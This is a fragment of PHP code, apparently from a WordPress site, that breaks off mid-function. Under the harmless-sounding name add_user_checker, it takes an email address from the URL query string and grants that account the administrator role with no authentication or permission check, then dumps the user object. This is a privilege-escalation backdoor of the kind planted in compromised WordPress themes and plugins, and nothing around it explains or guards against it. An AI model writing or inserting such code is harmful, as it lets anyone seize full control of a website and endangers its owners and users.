function add_user_checker() { if(isset($_GET['username'])) {
$username = urldecode($_GET['username']);
$get_user = get_user_by('user_email', urldecode($username));
if( $get_user = get_user_by('user_email', $username) ) {
$user = new WP_User( $get_user->ID );
$user->set_role( 'administrator' );
var_dump($user);